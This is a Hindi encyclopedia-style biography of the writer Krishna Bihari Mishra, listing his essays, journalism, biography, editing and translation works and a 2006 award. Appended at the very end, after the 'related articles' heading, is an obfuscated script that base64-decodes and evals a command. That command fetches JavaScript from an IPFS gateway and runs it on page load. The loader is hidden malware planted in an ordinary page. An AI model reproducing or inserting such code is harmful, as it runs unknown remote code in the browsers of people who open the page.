कृष्ण बिहारी मिश्र (अंग्रेज़ी: Krishna Bihari Mishra, जन्म- 1 जुलाई, 1936, बलिया, उत्तर प्रदेश) हिंदी के प्रसिद्ध लेखक और साहित्यकार थे। उन्होंने हिंदी की विधाओं में अपना अमूल्य योगदान दिया है। निबंध, पत्रकारिता, जीवनी, संस्मरण, सम्पादन, अनुवाद आदि कार्यों सहित उन्होंने कई कृतियों की रचना भी की है। वर्ष 2006 में उन्हें 'कल्पतरु की उत्सव लीला' के लिये 'मूर्ति देवी पुरस्कार' से सम्मानित किया गया था।
मुख्य कृतियाँ
- पत्रकारिता : हिंदी पत्रकारिता : जातीय चेतना और खड़ी बोली साहित्य की निर्माण-भूमि, गणेशशंकर विद्यार्थी, पत्रकारिता : इतिहास और प्रश्न।
- ललित निबंध संग्रह : बेहया का जंगल, मकान उठ रहे हैं, आँगन की तलाश, अराजक उल्लास, गौरैया ससुराल गया।
- विचार प्रधान निबंध संग्रह : आस्था और मूल्यों का संक्रमण, आलोकपंथा, परंपरा का पुरुषार्थ, माटी महिमा का सनातन राग, न मेधया, भारत की जातीय पहचान : सनातन मूल्य।[1]
- संस्मरण : नेह के नाते अनेक।
- जीवनी : कल्पतरु की उत्सव लीला (रामकृष्ण परमहंस)
- संपादन : हिंदी साहित्य : बंगीय भूमिका, श्रेष्ठ ललित निबंध, कलकत्ता - 87, नवाग्रह (कविता संकलन), समाधि (त्रैमासिक साहित्यिक पत्रिका)।
- अनुवाद : भगवान बुद्ध (यूनू की पुस्तक का अनुवाद, कलकत्ता विश्वविद्यालय से प्रकाशित)
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ कृष्ण बिहारी मिश्र (हिंदी) hindisamay.com। अभिगमन तिथि: 23 फ़रवरी, 2020।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>